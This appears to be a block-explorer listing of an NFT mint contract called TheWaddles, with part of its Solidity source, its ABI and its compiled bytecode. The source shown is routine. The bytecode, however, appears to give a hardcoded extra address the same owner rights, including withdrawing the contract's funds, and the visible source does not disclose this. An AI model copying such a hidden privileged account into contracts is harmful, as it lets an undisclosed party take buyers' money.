_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721A: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
contract TheWaddles is ERC721A, Ownable, ReentrancyGuard {
string public baseURI = "ipfs://QmSKxfCFBk1uqTRMBJCa6nhTWE2eJAaSt49XjfnTUTG19Q/";
uint public price = 0.004 ether;
uint public maxPerTx = 5;
uint public maxPerFree = 1;
uint public totalFree = 3000;
uint public maxSupply = 3000;
mapping(address => uint256) private _mintedFreeAmount;
constructor() ERC721A("TheWaddles", "TheWaddles"){}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
require(_exists(_tokenId),"ERC721Metadata: URI query for nonexistent token");
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI,Strings.toString(_tokenId+1),".json"))
: "";
}
function MINT(uint256 count) external payable {
uint256 cost = price;
bool isFree = ((totalSupply() + count < totalFree + 1) &&
(_mintedFreeAmount[msg.sender] + count <= maxPerFree));
if (isFree) {
cost = 0;
_mintedFreeAmount[msg.sender] += count;
}
require(msg.value >= count * cost, "Please send the exact amount.");
require(totalSupply() + count <= maxSupply, "No more");
require(count <= maxPerTx, "Max per TX reached.");
_safeMint(msg.sender, count);
}
function sleeping(address mintAddress, uint256 count) public onlyOwner {
_safeMint(mintAddress, count);
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function setBaseUri(string memory baseuri_) public onlyOwner {
baseURI = baseuri_;
}
function setPrice(uint256 price_) external onlyOwner {
price = price_;
}
function withdraw() external onlyOwner nonReentrant {
(bool success, ) = msg.sender.call{value: address(this).balance}("");
require(success, "Transfer failed.");
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"MINT","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseuri_","type":"string"}],"name":"setBaseUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"price_","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"mintAddress","type":"address"},{"internalType":"uint256","name":"count","type":"uint256"}],"name":"sleeping","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
60806040526000805573acfcba7bab6403ebcceee22810c4dd3c9bbe9763600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604051806060016040528060368152602001620047aa60369139600a90805190602001906200008e9291906200025a565b50660e35fa931a0000600b556005600c556001600d55610bb8600e55610bb8600f55348015620000bd57600080fd5b506040518060400160405280600a81526020017f546865576164646c6573000000000000000000000000000000000000000000008152506040518060400160405280600a81526020017f546865576164646c6573000000000000000000000000000000000000000000008152508160019080519060200190620001429291906200025a565b5080600290805190602001906200015b9291906200025a565b5050506200017e620001726200018c60201b60201c565b6200019460201b60201c565b60016009819055506200036f565b600033905090565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b82805462000268906200030a565b90600052602060002090601f0160209004810192826200028c5760008555620002d8565b82601f10620002a757805160ff1916838001178555620002d8565b82800160010185558215620002d8579182015b82811115620002d7578251825591602001919060010190620002ba565b5b509050620002e79190620002eb565b5090565b5b8082111562000306576000816000905550600101620002ec565b5090565b600060028204905060018216806200032357607f821691505b602082108114156200033a576200033962000340565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b61442b806200037f6000396000f3fe6080604052600436106101cd5760003560e01c8063715018a6116100f7578063a22cb46511610095578063d5abeb0111610064578063d5abeb0114610667578063e985e9c514610692578063f2fde38b146106cf578063f968adbe146106f8576101cd565b8063a22cb465146105ad578063b88d4fde146105d6578063c7c39ffc146105ff578063c87b56dd1461062a576101cd565b806391b7f5ed116100d157806391b7f5ed1461050557806395d89b411461052e578063a035b1fe14610559578063a0bcfc7f14610584576101cd565b8063715018a61461049a5780638da5cb5b146104b1578063911759e4146104dc576101cd565b8063333e44e61161016f5780636352211e1161013e5780636352211e146103d957806365543320146104165780636c0360eb1461043257806370a082311461045d576101cd565b8063333e44e6146103315780633ccfd60b1461035c57806342842e0e146103735780634f6ccce71461039c576101cd565b8063095ea7b3116101ab578063095ea7b31461027757806318160ddd146102a057806323b872dd146102cb5780632f745c59146102f4576101cd565b806301ffc9a7146101d257806306fdde031461020f578063081812fc1461023a575b600080fd5b3480156101de57600080fd5b506101f960048036038101906101f49190612fa8565b610723565b604051610206919061356d565b60405180910390f35b34801561021b57600080fd5b5061022461086d565b6040516102319190613588565b60405180910390f35b34801561024657600080fd5b50610261600480360381019061025c919061303b565b6108ff565b60405161026e9190613506565b60405180910390f35b34801561028357600080fd5b5061029e60048036038101906102999190612f6c565b610984565b005b3480156102ac57600080fd5b506102b5610a9d565b6040516102c291906138aa565b60405180910390f35b3480156102d757600080fd5b506102f260048036038101906102ed9190612e66565b610aa6565b005b34801561030057600080fd5b5061031b60048036038101906103169190612f6c565b610ab6565b60405161032891906138aa565b60405180910390f35b34801561033d57600080fd5b50610346610ca8565b60405161035391906138aa565b60405180910390f35b34801561036857600080fd5b50610371610cae565b005b34801561037f57600080fd5b5061039a60048036038101906103959190612e66565b610e8e565b005b3480156103a857600080fd5b506103c360048036038101906103be919061303b565b610eae565b6040516103d091906138aa565b60405180910390f35b3480156103e557600080fd5b5061040060048036038101906103fb919061303b565b610f01565b60405161040d9190613506565b60405180910390f35b610430600480360381019061042b919061303b565b610f17565b005b34801561043e57600080fd5b506104476110f7565b6040516104549190613588565b60405180910390f35b34801561046957600080fd5b50610484600480360381019061047f9190612e01565b611185565b60405161049191906138aa565b60405180910390f35b3480156104a657600080fd5b506104af61126e565b005b3480156104bd57600080fd5b506104c6611355565b6040516104d39190613506565b60405180910390f35b3480156104e857600080fd5b5061050360048036038101906104fe9190612f6c565b61137f565b005b34801561051157600080fd5b5061052c6004803603810190610527919061303b565b611468565b005b34801561053a57600080fd5b5061054361154d565b6040516105509190613588565b60405180910390f35b34801561056557600080fd5b5061056e6115df565b60405161057b91906138aa565b60405180910390f35b34801561059057600080fd5b506105ab60048036038101906105a69190612ffa565b6115e5565b005b3480156105b957600080fd5b506105d460048036038101906105cf9190612f30565b6116da565b005b3480156105e257600080fd5b506105fd60048036038101906105f89190612eb5565b61185b565b005b34801561060b57600080fd5b506106146118b7565b60405161062191906138aa565b60405180910390f35b34801561063657600080fd5b50610651600480360381019061064c919061303b565b6118bd565b60405161065e9190613588565b60405180910390f35b34801561067357600080fd5b5061067c611970565b60405161068991906138aa565b60405180910390f35b34801561069e57600080fd5b506106b960048036038101906106b49190612e2a565b611976565b6040516106c6919061356d565b60405180910390f35b3480156106db57600080fd5b506106f660048036038101906106f19190612e01565b611a0a565b005b34801561070457600080fd5b5061070d611b61565b60405161071a91906138aa565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806107ee57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061085657507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610866575061086582611b67565b5b9050919050565b60606001805461087c90613b65565b80601f01602080910402602001604051908101604052809291908181526020018280546108a890613b65565b80156108f55780601f106108ca576101008083540402835291602001916108f5565b820191906000526020600020905b8154815290600101906020018083116108d857829003601f168201915b5050505050905090565b600061090a82611bd1565b610949576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109409061388a565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061098f82610f01565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f79061376a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610a1f611bde565b73ffffffffffffffffffffffffffffffffffffffff161480610a4e5750610a4d81610a48611bde565b611976565b5b610a8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a849061366a565b60405180910390fd5b610a98838383611be6565b505050565b60008054905090565b610ab1838383611c98565b505050565b6000610ac183611185565b8210610b02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af9906135aa565b60405180910390fd5b6000610b0c610a9d565b905060008060005b83811015610c66576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614610c0657806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c585786841415610c4f578195505050505050610ca2565b83806001019450505b508080600101915050610b14565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c999061382a565b60405180910390fd5b92915050565b600e5481565b610cb6611bde565b73ffffffffffffffffffffffffffffffffffffffff16610cd4611355565b73ffffffffffffffffffffffffffffffffffffffff161480610d4a5750610cf9611bde565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610d89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d80906136ca565b60405180910390fd5b60026009541415610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc69061384a565b60405180910390fd5b600260098190555060003373ffffffffffffffffffffffffffffffffffffffff1647604051610dfd906134f1565b60006040518083038185875af1925050503d8060008114610e3a576040519150601f19603f3d011682016040523d82523d6000602084013e610e3f565b606091505b5050905080610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061378a565b60405180910390fd5b506001600981905550565b610ea98383836040518060200160405280600081525061185b565b505050565b6000610eb8610a9d565b8210610ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef09061362a565b60405180910390fd5b819050919050565b6000610f0c826121d8565b600001519050919050565b6000600b54905060006001600e54610f2f919061399a565b83610f38610a9d565b610f42919061399a565b108015610f9b5750600d5483601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f98919061399a565b11155b90508015610ffe576000915082601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ff6919061399a565b925050819055505b818361100a9190613a21565b34101561104c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110439061374a565b60405180910390fd5b600f5483611058610a9d565b611062919061399a565b11156110a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109a906135ca565b60405180910390fd5b600c548311156110e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110df9061380a565b60405180910390fd5b6110f23384612372565b505050565b600a805461110490613b65565b80601f016020809104026020016040519081016040528092919081815260200182805461113090613b65565b801561117d5780601f106111525761010080835404028352916020019161117d565b820191906000526020600020905b81548152906001019060200180831161116057829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ed9061368a565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b611276611bde565b73ffffffffffffffffffffffffffffffffffffffff16611294611355565b73ffffffffffffffffffffffffffffffffffffffff16148061130a57506112b9611bde565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611349576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611340906136ca565b60405180910390fd5b6113536000612390565b565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611387611bde565b73ffffffffffffffffffffffffffffffffffffffff166113a5611355565b73ffffffffffffffffffffffffffffffffffffffff16148061141b57506113ca611bde565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61145a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611451906136ca565b60405180910390fd5b6114648282612372565b5050565b611470611bde565b73ffffffffffffffffffffffffffffffffffffffff1661148e611355565b73ffffffffffffffffffffffffffffffffffffffff16148061150457506114b3611bde565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153a906136ca565b60405180910390fd5b80600b8190555050565b60606002805461155c90613b65565b80601f016020809104026020016040519081016040528092919081815260200182805461158890613b65565b80156115d55780601f106115aa576101008083540402835291602001916115d5565b820191906000526020600020905b8154815290600101906020018083116115b857829003601f168201915b5050505050905090565b600b5481565b6115ed611bde565b73ffffffffffffffffffffffffffffffffffffffff1661160b611355565b73ffffffffffffffffffffffffffffffffffffffff1614806116815750611630611bde565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6116c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b7906136ca565b60405180910390fd5b80600a90805190602001906116d6929190612beb565b5050565b6116e2611bde565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611750576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117479061370a565b60405180910390fd5b806006600061175d611bde565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff1661180a611bde565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161184f919061356d565b60405180910390a35050565b611866848484611c98565b61187284848484612456565b6118b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a8906137aa565b60405180910390fd5b50505050565b600d5481565b60606118c882611bd1565b611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fe906136ea565b60405180910390fd5b60006119116125ed565b905060008151116119315760405180602001604052806000815250611968565b80611947600185611942919061399a565b61267f565b6040516020016119589291906134c2565b6040516020818303038152906040525b915050919050565b600f5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611a12611bde565b73ffffffffffffffffffffffffffffffffffffffff16611a30611355565b73ffffffffffffffffffffffffffffffffffffffff161480611aa65750611a55611bde565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611ae5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611adc906136ca565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4c906135ea565b60405180910390fd5b611b5e81612390565b50565b600c5481565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6000805482109050919050565b600033905090565b826005600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b6000611ca3826121d8565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff16611cca611bde565b73ffffffffffffffffffffffffffffffffffffffff161480611d265750611cef611bde565b73ffffffffffffffffffffffffffffffffffffffff16611d0e846108ff565b73ffffffffffffffffffffffffffffffffffffffff16145b80611d425750611d418260000151611d3c611bde565b611976565b5b905080611d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7b9061372a565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff1614611df6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ded906136aa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5d9061364a565b60405180910390fd5b611e73858585600161282c565b611e836000848460000151611be6565b6001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160392506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506001600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550836003600085815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003600085815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506000600184019050600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612168576120c781611bd1565b156121675782600001516003600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082602001516003600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b50828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46121d18585856001612832565b5050505050565b6121e0612c71565b6121e982611bd1565b612228576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221f9061360a565b60405180910390fd5b60008290505b60008110612331576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff161461232257809250505061236d565b5080806001900391505061222e565b506040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123649061386a565b60405180910390fd5b919050565b61238c828260405180602001604052806000815250612838565b5050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006124778473ffffffffffffffffffffffffffffffffffffffff1661284a565b156125e0578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026124a0611bde565b8786866040518563ffffffff1660e01b81526004016124c29493929190613521565b602060405180830381600087803b1580156124dc57600080fd5b505af192505050801561250d57506040513d601f19601f8201168201806040525081019061250a9190612fd1565b60015b612590573d806000811461253d576040519150601f19603f3d011682016040523d82523d6000602084013e612542565b606091505b50600081511415612588576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257f906137aa565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506125e5565b600190505b949350505050565b6060600a80546125fc90613b65565b80601f016020809104026020016040519081016040528092919081815260200182805461262890613b65565b80156126755780601f1061264a57610100808354040283529160200191612675565b820191906000526020600020905b81548152906001019060200180831161265857829003601f168201915b5050505050905090565b606060008214156126c7576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612827565b600082905060005b600082146126f95780806126e290613bc8565b915050600a826126f291906139f0565b91506126cf565b60008167ffffffffffffffff81111561273b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561276d5781602001600182028036833780820191505090505b5090505b60008514612820576001826127869190613a7b565b9150600a856127959190613c11565b60306127a1919061399a565b60f81b8183815181106127dd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561281991906139f0565b9450612771565b8093505050505b919050565b50505050565b50505050565b612845838383600161286d565b505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156128e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128da906137ca565b60405180910390fd